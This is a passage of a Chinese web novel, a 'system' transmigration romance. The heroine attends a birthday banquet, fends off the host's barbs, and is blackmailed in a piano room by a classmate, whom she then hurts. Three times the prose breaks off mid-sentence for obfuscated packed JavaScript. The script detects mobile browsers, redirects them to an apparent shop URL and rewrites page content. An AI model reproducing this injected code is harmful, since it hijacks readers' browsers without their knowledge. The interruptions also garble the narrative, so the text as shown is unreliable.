她勉强扯了扯嘴角，垂下眼睫，避开他依旧停留在自己脸上的目光：“就是……太突然了，吓一跳。” “你们的项目……还挺有意思的。”话锋生硬地一转，她抬起眼，努力让语气听起来自然些，“话说，你今天怎么突然回来了？项目不忙了？” 闻言，季时安静静看了她片刻，那双眼睛里像是有什么情绪极快地掠过，又沉入深潭。 随即，他唇角很轻地弯了一下，仿佛接受了这个生硬无比的转换。 “差点忘了正事。” 他转身，从沙发另一端拿起一个白色的长条状物体，递了过来。 “我父母从国外转寄过来的。邵家送来的请柬，邵晏舒的二十岁生日宴。”他语气平淡，像在说一件与己无关的日常琐事，“邵家和我们两家有些旧交，请帖就一并送来了。这一封是给你的，叔叔阿姨也转交给了我，意思大概是……让我们代为出席。” 姜夏琳接过，指腹触到信封细腻的压纹。 果然有两封，一封是给她父母的，另一封……烫金的字体清晰地印着季时安父母的名字。 “不过，我就不去了。”季时安继续说，目光落在那封属于季家的请柬上，声音里听不出太多情绪，“邵家原本是我们项目初期的投资方，但前段时间研究方向调整，他们不太认同新方向，就撤资了。” 他顿了顿，抬眼看她，装饰灯的光晕在他眼底映出一点明显的亮色。 “……流程上有些摩擦，我去反而尴尬。但邵叔叔最初在我父母都不看好的情况下支持了我，这份情我记得。”他从衣服的口袋里取出一个深蓝色丝绒小盒，放在茶几上，轻轻推向姜夏琳的方向，“礼物我备好了，生日宴那天，如果你去的话，就代我转交给邵叔叔吧。不必提我。” 他的目光在她脸上停留片刻，像是想起了什么，语气轻缓地补充：“邵晏舒……就是上次在我休息室门口，说话不太客气的那位女生。她是邵叔叔的女儿。当时的一些误会，我在他们撤资时已经解释清楚了。” 他稍稍后靠，将选择权完全交还给她，声音平静无波：“如果你觉得不便，或者不想去，也没关系。” 姜夏琳捏着厚厚的两份请柬，微微思忖了一会儿。 她本身对宴会这类场合并无兴趣，更何况之前与邵晏舒相处的回忆也并不友好…… 可是，“姜夏琳”不能拒绝。 身为姜家大小姐，收到同阶层世交的宴会邀请，于情于理都没有拒绝的理由。 “……好。”她听到自己回答，声音里听不出丝毫抗拒，甚至还配合地弯了弯唇角，露出那个标准的笑容，“我去的时候，会替你带到的。” 季时安似乎因为她爽快的应允而松了口气，眼里漾开一点很浅的笑意：“谢谢。” 维持着蹲在地上的姿势已经有好一会儿，姜夏琳扶着茶几边缘站起身，弯腰敲了敲有些发麻的小腿。 茶几上的电脑屏幕已经黑了下去，她不动声色地瞥过，一个念头突然出现在脑中。 “对了，”她开口，语气里好奇而自然，就像是闲聊中临时冒出的想法，“等你们那个项目完成了，可以让我体验一下吗？” 季时安闻言，有些意外地看向她。 “当然。”他歪了歪头，笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“邵小姐，”她停在一步之外，唇角扬起恰到好处的弧度，递上手中两个并排的礼盒——其中一个略大，包装精致，来自姜家；另一个稍小，款式简约，系着灰色缎带，来自季时安。 “生日快乐。愿你岁岁皆如愿。”她含笑说。 邵晏舒闻声转过身来。 她脸上那抹甜美的笑容，在目光触及姜夏琳面容的瞬间，几不可察地凝固了一帧。 23. 琴房 但这份异样稍纵即逝。 邵晏舒眼睫轻轻一眨，那点不自然便被迅速抹去，唇角的笑容瞬间恢复了原来那抹灿烂的弧度。 她微微扬起下巴，目光自下而上地扫过姜夏琳，声线里听不出什么温度：“你是？” “姜夏琳。”姜夏琳迎上她的视线，语气平和，就像两人的确是初次在宴会上打照面。 “哦——” 邵晏舒拖长了语调，视线越过她飘向身后，在熙攘的宾客中逡巡半圈，才落回她脸上。 半晌，她不咸不淡地问：“你一个人来的？” 姜夏琳明白她的意有所指，在心里小小的翻了个白眼，面上还是维持着温婉的模样，大方颔首：“是的。” 她顿了顿，决定将话摊开：”邵小姐如果想说的是季先生，那可能有些误会。我和他虽然认识，但并不是需要结伴同行的关系。” “是吗。”邵晏舒挑眉，转了转指尖捏着的小银叉，“姜小姐明明与人不熟，却还能跟对方走得这样近，甚至登堂入室，还真是有本事。” 她略一停顿，唇边的笑染上几分似讥似讽的意味：“不过，他现在和我，和邵家，都没什么关系了。我爸已经撤回了对他们项目的投资。” 不久前季时安提到这件事时，并未明说其中缘由，但如今听邵晏舒这口气，邵家的撤资显然不是出于商业考量，而与这位大小姐脱不开干系。 姜夏琳心中了然，面上却并未显露什么情绪，平和地开口：“季先生从事的是前沿领域探索，这类研究更看重长远发展，而不是短时的回报。若是观念不合，及时止损对双方都是明智之举。相信以他们团队的能力，会找到更合适的支持者。” “呵，装什么清高。”邵晏舒嗤笑一声，骄矜之色毫不掩饰，“我爸的钱又不是大风刮来的。一个既看不到明确收益，又摸不清前景的项目，凭什么要一直投？估计，他们现在正焦头烂额，到处求爷爷告奶奶找下一个冤大头吧？” ……好大的口气。 姜家与季家是世交，姜夏琳虽不了解项目全貌，却也清楚季时安的家世与能力。 季家少爷金尊玉贵，一时兴起白手起家的项目，怎么也不会因为没有了邵家的投资就走投无路。 与她在口舌上争这长短毫无意义，姜夏琳懒于反驳，将手中两个礼盒径直递给候在一旁的侍者。 “邵总的投资眼光，业内自有公论，无需我多言。至于季家的事，”她目光平静地迎上邵晏舒，“更不劳旁人费心。季先生倒是不计前嫌，始终感激邵总当初的支持，所以即便如今项目进入了新的阶段，依然托我带来了谢礼。” 本不想提及季时安的名字，但大小姐嚣张的气焰难免让人气堵，姜夏琳心底隐隐有些逆反，只得用这套礼节一口气把对方的嘴堵上。 邵晏舒的目光落在那两个礼盒上，神色变了变，不像是喜悦或感动，倒像是对不欢而散后却还要还礼的费解。 她显然并不在乎这点礼物，面色一转，重新端起了今夜主角的姿态。 抬起手，她朝向流光溢彩的大厅中心，做了个“请”的手势。 “请自便吧，姜小姐。既然来了，就好好享受。这样的场面，可不是时时都能见识到的。” 言语间，方才那点微妙的紧张感烟消云散，只剩下主人对宾客一种带着施舍意味的宽容。 “多谢款待。”姜夏琳微微颔首，不再多言，转身融入衣香鬓影的宾客群中。 她能感觉到，背后那道目光在她脊背上停留了片刻，带着一丝未能尽兴的、凉飕飕的愠意。 但很快，那视线便移开了—— 无数热情的祝贺者，正如潮水般涌向今天的寿星，她没有多余的心力再分给别人。 完成了来这场宴会最重要的任务，姜夏琳的精神松弛了下来。 她没有加入场内任何一个谈笑风生的圈子，而是从侍者手中的托盘取了一杯香槟，走到宴会厅中一根巨大的罗马柱旁，将自己半掩在相对的阴影里。 目光扫过这片浮华的名利场，水晶灯的光芒经过无数次折射，洒落在每一张精心雕琢的脸上。 笑语、寒暄、酒杯轻碰的脆响，交织成一首繁华而虚幻的交响乐。 在系统S001的培训中，她试炼过无数次这样的场景。不过事情总是多说多错，对于这第一次实战，她选择暂时按兵不动，以免出了什么差错。 视线漫无目的地滑过宴会厅中攒动的人影，姜夏琳突然在最中心的位置，看到了一道并不意外的身影—— 陆临川。 他并未穿着常见的西装，而是换了一套更为矜贵的黑色丝绒礼服，衬得肩线平直，身姿挺拔。 极高的身高让他在人群中卓然而立，此刻正被几位气度不凡的长者围在中间。他侧耳倾听的姿态居多，偶尔微微颔首，侧脸在璀璨的灯光下显得轮廓分明，却又覆着一层惯有的冷峻平淡。 似乎察觉到了某种视线，对话的间隙，他目光抬起，穿过晃动的人影与交错的光晕，不经意向姜夏琳所在的角落投来。 来不及躲闪，两人的视线在空中短暂交汇。 陆临川几不可察地顿了一下，面色却未起波澜，随即迅速而自然地移开眼，重新专注于眼前的交谈，就像什么都没发生过一般。 姜夏琳视线不急不徐地在他身上多停留了两秒，尔后垂落。 学生会大楼那番照面后，她总感觉自己窥见了什么陆临川不愿展示给外界的一面，再次相遇，心底横亘着一股说不清道不明的别扭。 她静静地垂下眼帘，将杯中微凉的酒液贴近唇边，浅浅抿了一口。 气泡在舌尖细微炸开，带起一缕清冽的酸涩，滑过喉咙。 待她再次抬眸，目光下意识地扫过陆临川四周，却被另一个悄然显现的身影攥住了注意—— 林尚语。 她方才大约是被前面的人挡住了，以至于姜夏琳第一眼并未发现。 此刻，这位陆夫人正端着一杯红酒，姿态娴雅地站在陆临川稍后一些的位置，显然已经顺着自己儿子方才那瞬间的视线偏移，发现了柱旁的她。 与陆临川的反应不同，林尚语并没有移开目光，反而偏过头，同身边一位衣着华贵的女士微笑着说了句什么，随后便抬步，朝着姜夏琳的方向走了过来。 高跟鞋敲击在大理石地面上，步伐不疾不徐，却带着极强的存在感。一路上，人群自然而然地为她分开一条通路。 她在姜夏琳面前停下，身上那袭带着细密金色流苏的礼服长裙，在水晶灯下流淌着奢华的光泽。 “姜小姐，”她主动开口，声音一如不久前在档案室见面时那般温和悦耳，“没想到会在这里遇见你。” 周围的视线因为林尚语的驻足而悄然汇聚过来，姜夏琳感觉像有一束无形的聚光灯打在了自己身上，握着香槟杯的指尖微微收紧：“陆夫人，晚上好。” “不用这么客气，”林尚语唇角含着浅笑，目光却细致地落在姜夏琳脸上，像要抓住她脸上的全部细节，“上次在学生会给你的名片，怎么一直没见你联系？临川在学生会，没少给你添麻烦吧？” 问题来得突兀且直接，姜夏琳眉头轻轻拧了下。 那张名片早就被她随手扔掉，因为无论怎么看，那不过是对方出于礼节的客套，谁会当真以为这位陆夫人是想邀请一个仅有一面之缘的女学生去家中做客？ “我和陆会长交涉不多，陆会长做事也足够公正，谈不上什么麻烦。夫人言重了。”姜夏琳掠过这个让她不知如何回答的问题，只回答了后半句。 “……是吗？”林尚语闻言却像是有些意外，她捏着高脚杯的手腕转了转，杯中猩红的液体随之漾开一个小小的漩涡，“可我听说，姜小姐进入学生会的名额，是临川……破格提名的。” 姜夏琳心下一沉。 这件事无可否认，只是她觉得奇怪，以陆临川处理赵绍辉事件时那种干净利落、不留痕迹的风格，他若真想让她入会，本该有更隐蔽的方法，何以偏偏让此事变得如此瞩目，甚至传到陆夫人耳中？ “母亲。” 陆临川的声音先一步介入，打断了她的思绪。 他不知何时已结束了那边的交谈，悄然走到了两人身边。 一时间，聚焦于此的目光变得更加密集。陆临川自然而然地挪了半步，身形微侧，恰好用肩背挡住了大部分投向姜夏琳的视线。 “姜小姐今天是邵家的客人，”他看向林尚语，声音放缓，“在这种场合聊公事，恐怕不太合适。” 他略一停顿，继续道：“如果母亲想让姜小姐来家里做客，我可以单独向将姜家发出邀请，不必让客人自己操心这么多。校内的事务，学生会自会在校内妥善处理，不会也不必延伸到校外场合。”他显然听到了两人之前的对话，话比平时显得略多地解释着。 “……包括那个特殊的入会名额？”林尚语眉梢微挑。 “那是负责通知的新干事工作疏忽，”陆临川应对沉稳，语气没有半点波澜，“姜同学的审核流程早已走完，名字一直在最终名单上。所谓的特殊名额，不过是补上一个遗漏的程序。” 闻言，姜夏琳眨了眨眼。这才符合她对陆临川行事风格的认知。 这么说，确实有人暗中作梗，让她没能及时收到通知。 林尚语眸光微动，似乎领会了其中的弯绕，漂亮的杏眼里掠过一丝了然，旋即不再追问。 见状，陆临川上前半步，手臂虚扶在林尚语身侧，温和却带着几分强势地将她的注意力转向宴会厅中心。 “母亲，邵叔叔刚才在找您。我们该过去打个招呼了。” 说罢，他才终于转向姜夏琳，客套地点了下头：“失陪了，姜小姐。” 他虚扶着林尚语的肩，不让她有犹豫的机会，半引导着她转身，重新走向那片光华最盛之处。 林尚语并未抗拒，临走前，还回头对姜夏琳再次展露了温和的笑，仿佛刚才那暗流涌动的对话从未发生。 姜夏琳站在原地，看着两人逐渐融入衣香鬓影的背影，脑海中不自觉地将相识以来的片段快速回溯。一个清晰的认知浮现出来—— 陆临川答应过的事，似乎……确实都做到了。 时间流逝，宴会厅内的宾客愈发密集。即便她有意避开社交中心，也开始被各色目光与寒暄捕捉。 “这不是姜小姐吗，有幸一起喝一杯吗？” “你是……姜夏琳？你是未来大学一年级的吧，我在校园论坛里看到过你的照片……” “姜叔叔姜阿姨还在国外吗？他们什么时候回来，有空务必一起聚一聚。” 各类热情的话迎头砸来，姜夏琳应付得身心俱疲。好不容易捉到一个无人打扰的空隙，她悄然穿过侧门， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17040911|193807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 步入连接宴会厅的宽敞露台。 夜风带着初秋的凉意拂面，稍稍吹散了厅内沉积的暖香。她倚着冰凉的汉白玉栏杆，望向花园里被昏黄路灯勾勒出的朦胧树影，轻轻吐出一口气。 楼内的乐声与人语被厚重的玻璃门滤成了模糊的背景音，此刻的宁静显得如此珍贵。 她从手包里拿出手机，点开那个许久未打开的图标。 未来之恋APP的界面亮起，幽蓝的光映着她妆容精致的脸庞。 【当前角色契合度：75%。 检测到高强度社交环境，建议增加人际互动频率。】 冰冷的电子建议横亘在屏幕中央，姜夏琳扯了扯嘴角，重新将手机收起。 她心知应该遵循系统的规则，但此刻，身体与精神同时发出的疲惫信号是如此清晰，她有些提不起劲头。 重新回到宴会厅，她没有走向人群，而是将目光投向宴会厅更深处。 在角落的阴影里，有一处不起眼的、铺着深色暗纹地毯的弧形楼梯。 楼梯向上延伸，上方光线明显昏暗许多，通往相对私密、不对外开放的二楼。 几乎没有过多犹豫，她提起裙摆，踏上了柔软厚实的地毯台阶。 二楼的世界与楼下截然不同。 走廊宽阔而安静，墙面贴着吸音的丝绸壁布，两侧是一扇扇紧闭的、厚重实木包镶的房门，门上没有任何标识，显然是一个个私密性极高的独立包间或功能室。 厚重的门板几乎隔绝了所有声响，只有偶尔有身着黑白制服的侍者端着盛放酒水或点心的银质托盘，悄无声息地快速走过，像一抹掠过地面的影子。 姜夏琳漫无目的地沿着走廊前行，不知不觉便到了尽头，面前只剩下一扇更为高大的对开雕花木门，门扉并未紧闭，而是虚掩着，留出一道幽暗的缝隙。 里面没有透出楼下那种明亮的灯光，也没有谈笑声，反而流淌出一种异常的、空旷的寂静。 她驻足在门前，犹豫了片刻。指尖轻轻触上冰凉光滑的木门表面，稍一用力，门轴发出极其细微的“吱呀”声，向内滑开。 映入眼帘的，是一个空旷得有些出乎意料的房间——一间钢琴房。 室内只亮着几盏壁灯，昏黄光晕勉强驱散小片黑暗。 房间中央，一架通体漆黑的三角钢琴静卧在朦胧光线里，琴盖紧闭，四周的半圆形阶梯座椅全部空置，在昏暗中投下整齐而寂寥的影子。 空气微凉，浮着旧木、尘埃与清冷金属混合的味道。这里像是一个被时光短暂遗忘的角落。 姜夏琳缓缓走进房间，在漆黑的三角钢琴旁停下。 琴凳上积了薄薄一层灰，在月光下清晰可见。她抬手扫去浮尘，然后缓缓坐下。 掀开沉重的琴盖，黑白分明的琴键在昏暗中静默地排列着。犹豫了片刻，她抬起手，指尖悬在琴键上方，然后试探性地落下。 出乎意料地，手指仿佛还残存着某种遥远的肌肉记忆，竟然奇迹般地找到了位置。 她轻轻按下去。 断断续续的单音在空旷的房间里响起，笨拙地串联成一段简单到不能再简单的旋律。 是《小星星》。 还是她作为路人甲时，在未来高中那间老旧音乐教室里，用公用的电子琴学会的。 那是平凡青春里为数不多的、与艺术沾边的记忆。 在这个被设定好的世界里，路人甲不需要任何才艺点缀人生，而成为姜夏琳之后，因为年龄已过需要展示才艺的阶段，系统直接为她配置了满屋的奖杯与证书，地狱训练里也直接跳过了这些项目。 此刻，这生疏到近乎笨拙的琴音，像是与那个遥远的自己之间，一缕隐秘的连接。 指尖下的音符磕磕绊绊地流淌着。 一闪、一闪……亮晶晶…… 她在心里无声地跟唱，一种久违的安宁感，随着单调的旋律短暂地包裹了她。 一个错音突兀地跳了出来。 但无人在意。所以，继续。 满天都是……小星星…… 节奏在这里卡住了。她的手指悬在半空，眼神在黑白交错的琴键上徘徊，却怎么也想不起下一个音应该落在哪里。 就在她怔忪的瞬间—— 一只属于男性的、修长而骨节分明的手，猝不及防地闯入视野，带着沉重的力道，径直按下了她寻找的那个琴键。 “哆——” 准确，却突兀。 姜夏琳身体一震，猛地抬头。 月光勾勒出一个高大的身影，不知何时已如幽灵般静立在她身后。 江竞穿着一身纯黑西装，连内搭的衬衫也是沉郁的黑色，几乎与房间的阴影融为一体。 微长的额发随着他低头的动作滑落，遮住部分眉眼，却让左脸颊上那道已经结痂的细长伤疤，在冷光下显得格外刺目。 他垂着眼，正看着她。 姜夏琳的呼吸在那一刹停滞，心脏在胸腔里疯狂擂动。 她僵在琴凳上，甚至忘了该如何反应，只是下意识地收回了放在琴键上的手，指尖冰凉。 “好久不见。” 江竞低低开口，声音比记忆中的更沉，像磨砂纸擦过粗砺的表面。 他的目光如有实质，沉沉地压在她脸上，从她眉眼间掠过，最后定格在她因为惊惧而微微放大的瞳孔里。 24. 伤疤 姜夏琳的嘴唇翕动了一下，没能发出声音。 江竞的存在像一块突如其来的冰，将她刚刚松懈片刻的神经瞬间冻住。 垂放在膝盖上的手指无声收拢，指甲陷进柔软的掌心，留下几道泛白的月牙痕。 他从她身后欺近，高大的身躯几乎遮断了自窗缝漏入的最后一缕微光，将她全然笼罩在他投下的阴影里。 姜夏琳顿了两秒，才仿佛被无形的线牵引，缓慢地转动脖颈，将身体转向他。 他的目光沉沉地压下来，翻涌着她无比熟悉的戾气，却又夹杂着一些更深、更浑浊的东西，像暴风雨前积聚的浓云，让人本能地感到不安。 “弹得真难听。” 江竞的嘴角扯起一个没什么弧度的痕迹，声音轻得像自言自语。随后，他抬手，越过她另一侧的肩头，修长的手指在黑白琴键上方悬停片刻，然后随意地按下一个低音琴键。 “咚——” 沉闷浑浊的音响在过分寂静的房间里炸开，不算响亮，却被背景里的死寂无限放大。 姜夏琳即便有所准备，身体仍随着那声嗡鸣不易察觉地颤了一下。 “看来姜大小姐这段日子，过得颇为自在。”他声音压得很低，几乎贴着她发顶拂过，气息带着微凉的触感。 话语微顿时，姜夏琳能感觉到他的目光如同实质，一寸寸刮过她精心打理的发髻、裸露的肩颈，以及纹理细腻的礼服裙。 “盛装赴宴，不去楼下与陆临川那帮人周旋应酬，倒有闲情逸致躲在这里……缅怀童年？” 最后几个字，他吐得又轻又缓，却像细针，彻底驱散了方才闪入姜夏琳脑中的碎片回忆。 她想起自己是姜夏琳了。 陆临川的名字被这样提及，她心中了然。 这人恐怕从她踏入宴会厅起，就不知隐在哪个暗处，默默地观察她许久了。 姜夏琳深吸一口气，微凉的气体带着旧木材的气息闯入鼻腔，指甲更用力地抵住掌心，用那尖锐的痛感逼退脊椎窜上的寒意，强迫声线维持平稳。 “江同学，”她听到自己开口，音色比预想中更冷静些，“如果你需要使用这间琴房，我可以立刻离开。请先把手拿开。”她目光垂落，瞥过他那两条分别撑在她身侧、如同铁栏般将她禁锢在琴凳与钢琴之间的手臂。 “这么久不见，姜大小姐连叙旧的耐心都没有了？”江竞的手臂纹丝未动，甚至故意将身体又压下来几分，拉近那本就岌岌可危的距离。 姜夏琳忍住蹙眉的冲动，唇角甚至牵起一点惯常的弧度：“如果没记错，我们之间似乎没有什么值得叙旧的交情。” “没有吗？”江竞像是听到了极荒谬的笑话，从喉间滚出一声低嗤。 他忽然毫无征兆地俯身，双臂彻底撑在钢琴光滑的漆面上，身体随之压下，将她完全困在琴凳与他胸膛之间那片狭窄到令人窒息的空隙里。 那股独属于他的、冷冽而充满攻击性的气息瞬间攻城略地，将她严密包裹。 “姜夏琳，我们之间，有的是账。” 他直起身，却并未退开，只是不紧不慢地从西装内袋里取出手机。指尖在屏幕上随意划动几下，然后手腕一转，将屏幕径直递到她眼前。 屏幕上正在播放一段视频。 画面晃动得厉害，光线极度昏暗，夹杂着不时闪烁的噪点与雪花，但姜夏琳还是立刻认了出来—— 正是那间堆满蒙尘器材的废弃储藏室。 画面里，她虚弱地蜷缩在地上，片刻后却猝然暴起，而身前的江竞，看似正向她伸出一直想要搀扶的手，却被她猛地发力环住脖颈，毫无防备地一同坠入那片五彩斑斓的海洋球池。 视频很短，在两人被海洋球吞没的刹那戛然而止。姜夏琳却不禁拧起眉，心头警铃大作。 她不明白江竞把这段影像放出来意欲何为。 她抬起视线，对上他的双眸，却见他眸色深晦，在四目相接的瞬间，如同静候已久的捕手终于看见猎物踏入陷阱，眼里闪过一丝冰冷而兴味的光。 “姜夏琳，”他收回手机，将那金属方块在指尖懒散地把玩，声音比琴房的空气更冷，“我们之间的游戏，从来就没结束。” 他将手机再次举到她眼前，手机的金属边框反射出几道尖锐的寒芒：“设想一下，某天，尊贵的姜大小姐擅自闯入学校明令禁止进入的废弃储藏室，并且晕倒在了里面。一位好心的同学发现后上前施救，却在她恢复意识的瞬间，不知何故，被她以惊人的力气拖拽着，一把推进了充满窒息风险的海洋球池……” 他刻意停顿，目光如钉子般固定在她脸上，不放过任何一丝细微的波澜。 “如果这段视频出现在校园论坛，或者……某些格外关注学生品德与校园安全的校董邮箱里，你猜，众人眼中那位优雅得体的姜夏琳，会不会瞬间变成一个恩将仇报、行为疯狂、甚至潜藏暴力倾向的……危险分子？” 他微微歪头，眼神里淬着毫不掩饰的恶意与审视，轻声问道：“你觉得呢？” “那——” 那又如何？ 尖刺的反驳滚到姜夏琳舌尖，却被一股更强的寒意瞬间冻结、咽回。 她的指尖微微发凉。 手机就在咫尺之遥的手包里，里面的系统S001沉默地潜伏着，时刻观测着她的契合度值。 江竞若真将那段视频公之于众，学校里的众人都见证她在储藏室里与男生扭打，甚至看似恩将仇报地对对方反击，那她苦苦维持的人设将崩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17047994|193807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 塌得一丝不剩。 契合度会降低多少？会直归零吗？然后呢？ 惩罚加剧？还是…… 更可怕的后果？ 瞬间掠过脑中的可能性，让姜夏琳的呼吸几不可察地一滞。 但示弱只会让他变本加厉。 姜夏琳抬起下巴，迎上他玩味的目光，声线僵硬，却并不柔弱：“江竞，除了用这种断章取义的影像要挟，你就没有更体面点的方式了吗？” “要挟？”江竞像是听到了什么有趣的词，歪了歪头，目光寸寸刮过她的脸，“视频没有经过任何修改和编辑，只是，事实如此。姜大小姐如果觉得委屈，大可同意我把这段视频放到论坛上，好让学校里的同学们都评评理。” 他好整以暇地顿了顿，看着她竭力维持镇定的神色，才拉长了语调，慢悠悠地继续：“当然，这段视频也可以永远消失。” 他捕捉到她眼睫极其细微的一颤。 “条件很简单。”他向前倾身，阴影再次将她笼罩，声音压低，带着一种暗暗的诱哄，“当我的跟班。随叫随到，听话一点。这段无聊的录像，就永远是秘密。” ……果然。 就不该期待他会给出什么正常人的解决方案。 姜夏琳心底冷笑，面上却迅速撇开脸，只丢给他一个紧绷的侧颜和一句硬邦邦的：“疯子才陪你玩这种游戏。” 江竞并未动怒，反倒像是欣赏猎物最后的挣扎。 见姜夏琳不再看向自己，他也移开目光，视线游移着，缓慢扫过她因紧张而微微起伏的肩线，掠过她为了搭配礼服而精心卷曲，却因方才动作散落几缕在颈侧的发丝，最后，停留在她白皙手臂内侧一道并不起眼的暗红色旧痕上。 那道痕迹很淡了，像是什么陈年旧伤愈后留下的浅浅印记，在琴房室内灰暗的灯光下，几乎看不真切。 他的目光在那里停顿了一瞬，眸色几不可察地沉了沉，随即便移开，仿佛只是无意一瞥。 然后，他抬手，用指节随意地蹭过自己额前垂下的黑发，动作带着点不经意的烦躁。 “不要？”他换了个姿势，靠回钢琴边，语气变得有些古怪，像是试探，又像是另一种形式的逼迫，“那换个你或许更喜欢的提议？钱，名分，我知道你最近在打听苏珏的下落……只要你点头，这些我都可以解决。” 他顿了顿，黑眸锁住她，一字一句，清晰却滚烫，“或者说，你是觉得跟班的地位配不上你大小姐的身份……那，要和我交往吗？当我的女朋友会不会让你觉得好受点。” 闻言，姜夏琳猛地扭过头，难以置信地看向他。 灯光下，他眼睑下方那道细长的疤痕显得愈发清晰。 他……到底在胡说八道些什么？ 25. 垫脚石 一种复杂的震惊和愤怒涌上心头，姜夏琳的呼吸在喉间凝滞了一瞬，忽然明白过来—— 视频从来不是重点。 江竞今天找到她，单纯是为了将储藏室里感受到的狼狈与失控，连本带利还给她。 指甲更深地陷进掌心，她用那点锐痛按下翻涌的心绪，心中思忖着，再抬眼时，方才脸上微微透出的那些锐利已经被尽数隐藏，取而代之的是一种柔软的，甚至带着点怯意的茫然。 她轻轻吸了下鼻子，声音微哑：“……如果我答应，你保证视频不会流出去？” 江竞显然没料到她会态度骤变，眉梢迅速挑动了一下。 他身体后撤了些许，重新靠回钢琴边沿，阴影将他半边脸切割得更加分明，眼下的疤痕在光亮下显得愈发醒目。 他打量着她，目光里的怀疑远比兴趣浓厚。 “你说呢？”他简短应道，不置可否。 “其实……”姜夏琳避开他的视线，指尖无意识地捻着耳垂上的细链，声音更低了下去，“那天之后，我……我很后悔。推你下去的时候，我太冲动了，脑子一片空白。” “后来我回去找过你，但是没找到……我一直很担心，你有没有受伤。” 她抬起眼帘，目光盈盈地落在他脸上，又渐渐游移到他眼下的疤痕上，不安地吞了吞唾沫，语气里充满了的歉疚和不安：“这个……是那时候弄的吗？应该很痛吧。” 江竞盯着她，嘴角扯了扯，没笑。 “姜夏琳，”他突然叫她的名字，语气无奈，“你觉得，同样的招数用两次，还会奏效吗？” 储藏室里，她也是这样，用看起来无比真实的示弱，将他引入陷阱。 闻言，姜夏琳并没有谎言被戳穿的不安，依旧认真地注视着他，甚至向前微微倾身，让窗外最后那点稀薄的光映亮她湿润的眼眸。 “我知道你不信。”她声音很轻，却异常清晰，“所以，我们可以换一种方式。” 她目光掠过他握在掌中的手机。 “我会向你道歉，承认是我忘恩负义，把你拉进了海洋球池。你可以录下来。如果……如果之后我违背承诺，或者再骗你，你可以把这段视频，和之前那段一起，发到任何地方。” 她停顿，看着他眼底深处那丝不易察觉的波动，继续道，声音里带上一丝明显的恳切：“这是我最大的把柄了，江竞。你握着它，我永远不敢再骗你。” 寂静在琴房里蔓延，只有远处宴会隐约的乐声，隔着厚重的墙壁，闷闷地传来。 江竞的视线在她脸上反复刮过，像在审视一件真伪难辨的演员面具。 最终，他喉结滚动了一下，下颌的线条依旧紧绷，却还是微微点了点头。 “……好。”他划亮手机屏幕，打开录制，抬眼看她，“说。” 姜夏琳深吸一口气，转向镜头。 她顿了顿，开口，清晰地叙述起发生在储藏室里的一切：“那天，我一个人去了储藏室……” 她叙述的声音带了几分干涩，却心照不宣地依照江竞的意思，将那日仓库里的冲突完全描述成自己的过错。 她脸色苍白，眼神里交织着复杂的屈辱和歉意。 在这个时刻她莫名想起S001，并在心中感谢它，是它让她能这般娴熟地表达出如此复杂的情感。 录制键的红点静静亮着。 叙述到一半时，她像是情绪难以自抑，声音哽咽了一下，下意识地朝江竞的方向靠近了一步，似乎想寻求一点回应，又在触及他冰冷的面色时顿住。 江竞的目光从屏幕移向她，带着惯有的嘲弄和审视，似乎想看她究竟能演到哪一步。 就是此刻。 姜夏琳忽然抬起手，指尖带着轻微的颤抖，却不是攻击，而是朝着他脸颊的方向，温柔却迅速地靠过去—— 最终，轻轻落在了他眼下那道疤痕的边缘。 微凉、细腻的指尖，落在那道已经愈合的疤痕上，触感粗粝。 江竞身体瞬间僵硬了一下，感受到她若有似无的力度，却没有立马躲开。 他大概认为，在镜头记录下，她不敢再有丝毫异动。 姜夏琳的指尖就在疤痕上停了片刻，没有用力，只是贴着。 她望进江竞骤然收缩的瞳孔，覆着水光的瞳孔突然变得清亮，下一秒，她覆在疤痕上的食指指腹，毫无征兆地、狠狠向下一按！ 细长的疤痕受不住这力道，瞬间破裂开来，鲜血从中流出，漫过姜夏琳放在他面颊上的指尖，也浸湿了他眼眶下方一小片皮肤。 痛感在片刻后才被江竞感知到，他原本有些发愣的眼神顿时清明，一把便将姜夏琳推开来。 姜夏琳重重跌坐在琴凳边缘，后背撞上冰冷的钢琴，发出沉闷的响声。 她顾不上疼，毫不意外地听到脑中的电子音响起—— 【检测到剧情波动！契合度评价敏锐度提升，请宿主严格遵守人设！】 剧痛比以往任何一次都更蛮横、更彻底地侵入了她的意识。 显然，这次她造成的偏移，比以前任何一次都来的严重，甚至可能触碰到了系统的红线。 姜夏琳甚至来不及闷哼一声，整个人便剧烈地痉挛了一下，从琴凳上滑落，重重跌坐在冰冷的大理石地面上。 冷汗瞬间浸透单薄的礼裙，视野边缘闪烁的扭曲白光贪婪地吞噬着江竞模糊的身影。 她死死咬住下唇，铁锈味在口腔弥漫，然后倔强地抬起头，看向江竞。 江竞冷眼看着她蜷缩在地，身体不受控制地微微发抖，苍白的脸上飞速失去血色。 